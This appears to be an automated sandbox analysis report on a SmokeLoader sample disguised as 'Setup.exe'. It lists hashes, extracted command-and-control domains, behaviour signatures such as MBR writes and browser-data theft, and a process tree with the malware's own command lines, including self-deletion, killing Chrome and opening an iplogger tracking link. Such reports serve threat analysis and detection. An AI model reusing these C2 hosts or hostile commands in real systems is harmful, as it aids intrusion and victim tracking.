Overview

overview

10

Static

static

Setup.exe

windows7_x64

10

Setup.exe

windows10_x64

Resubmissions

13-02-2021 11:21

210213-4fxs4yb6gx 10

13-02-2021 11:08

210213-8pag89rhqe 10

Analysis

  • max time kernel
    152s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13-02-2021 11:08

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General

  • Target

    Setup.exe

  • Size

    5.0MB

  • MD5

    edeb50f0b803732a581ab558bf87d968

  • SHA1

    35858ce564d4c8b080bae606bf67292f5b9b2201

  • SHA256

    ee9743026ad49017735e58c3d9ee9198db87eb6a3ab77242aa9d15155a9504b6

  • SHA512

    8c47a7964791452fc499046d60b08b99f7a986b3827cddeba88b20e91c0ff69475314f17662c33286f421d433fb507a9c673bcce75f0c5bb333ca6e58b219273

Score
10/10
smokeloaderbackdoorbootkitdiscoverymacropersistencespywaretrojanupxxlm

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naritouzina.net/

http://nukaraguasleep.net/

http://notfortuaj.net/

http://natuturalistic.net/

http://zaniolofusa.net/
rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Executes dropped EXE 8 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Deletes itself 1 IoCs
  • Loads dropped DLL 27 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 48 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Loads dropped DLL
    • Writes to the Master Boot Record (MBR)
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1760
    • C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe
      C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe 0011 installp1
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Writes to the Master Boot Record (MBR)
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1540
      • C:\Program Files\Mozilla Firefox\firefox.exe
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        3⤵
          PID:1852
        • C:\Program Files\Mozilla Firefox\firefox.exe
          "C:\Program Files\Mozilla Firefox\firefox.exe"
          3⤵
            PID:980
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe"
            3⤵
              PID:1292
            • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
              C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
              3⤵
              • Executes dropped EXE
              PID:752
            • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
              "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Writes to the Master Boot Record (MBR)
              PID:1064
            • C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe
              C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1768
              • C:\Users\Admin\AppData\Local\Temp\is-JITIP.tmp\23E04C4F32EF2158.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-JITIP.tmp\23E04C4F32EF2158.tmp" /SL5="$70176,815708,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                PID:1616
                • C:\Program Files (x86)\HappyNewYear\seed.sfx.exe
                  "C:\Program Files (x86)\HappyNewYear\seed.sfx.exe" -pX7mdks39WE0 -s1
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Drops file in Program Files directory
                  PID:1708
                  • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                    "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                    6⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:792
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c "start https://iplogger.org/14Zhe7"
                  5⤵
                    PID:1060
                    • C:\Program Files\Internet Explorer\iexplore.exe
                      "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/14Zhe7
                      6⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:1688
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1688 CREDAT:275457 /prefetch:2
                        7⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:1536
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe"
                3⤵
                  PID:1908
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    4⤵
                    • Runs ping.exe
                    PID:1780
              • C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe
                C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe 200 installp1
                2⤵
                • Executes dropped EXE
                • Writes to the Master Boot Record (MBR)
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1876
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im chrome.exe
                    4⤵
                    • Kills process with taskkill
                    PID:1612
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1784
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    4⤵
                    • Runs ping.exe
                    PID:780
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
                2⤵
                • Deletes itself
                • Suspicious use of WriteProcessMemory
                PID:1668
                • C:\Windows\SysWOW64\PING.EXE
                  ping 127.0.0.1 -n 3
                  3⤵
                  • Runs ping.exe
                  PID:980
            • C:\Windows\system32\msiexec.exe
              C:\Windows\system32\msiexec.exe /V
              1⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:608
              • C:\Windows\syswow64\MsiExec.exe
                C:\Windows\syswow64\MsiExec.exe -Embedding D071D55E29A774DE24F392F103538624 C
                2⤵
                • Loads dropped DLL
                PID:1904

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/608-7-0x000007FEFC011000-0x000007FEFC013000-memory.dmp

              Filesize

              8KB

              Download

            • memory/792-100-0x0000000000030000-0x000000000003A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/792-101-0x0000000000400000-0x000000000040A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/792-99-0x0000000000020000-0x000000000002A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/792-96-0x00000000051B0000-0x00000000051C1000-memory.dmp

              Filesize

              68KB

              Download

            • memory/980-37-0x0000000000060000-0x0000000000061000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1064-73-0x000000000C910000-0x000000000C911000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1196-105-0x0000000003020000-0x0000000003036000-memory.dmp

              Filesize

              88KB

              Download

            • memory/1540-26-0x00000000035D0000-0x0000000003A7F000-memory.dmp

              Filesize

              4.7MB

              Download

            • memory/1544-25-0x0000000003490000-0x000000000393F000-memory.dmp

              Filesize

              4.7MB

              Download

            • memory/1616-74-0x0000000073C21000-0x0000000073C23000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1616-77-0x0000000000240000-0x0000000000241000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1664-34-0x000007FEF7F80000-0x000007FEF81FA000-memory.dmp

              Filesize

              2.5MB

              Download

            • memory/1768-76-0x0000000000401000-0x000000000040C000-memory.dmp

              Filesize

              44KB

              Download

            • memory/1832-3-0x0000000010000000-0x000000001033D000-memory.dmp

              Filesize

              3.2MB

              Download

            • memory/1832-2-0x0000000076191000-0x0000000076193000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1852-31-0x0000000000060000-0x0000000000061000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1852-30-0x0000000010000000-0x0000000010057000-memory.dmp

              Filesize

              348KB

              Download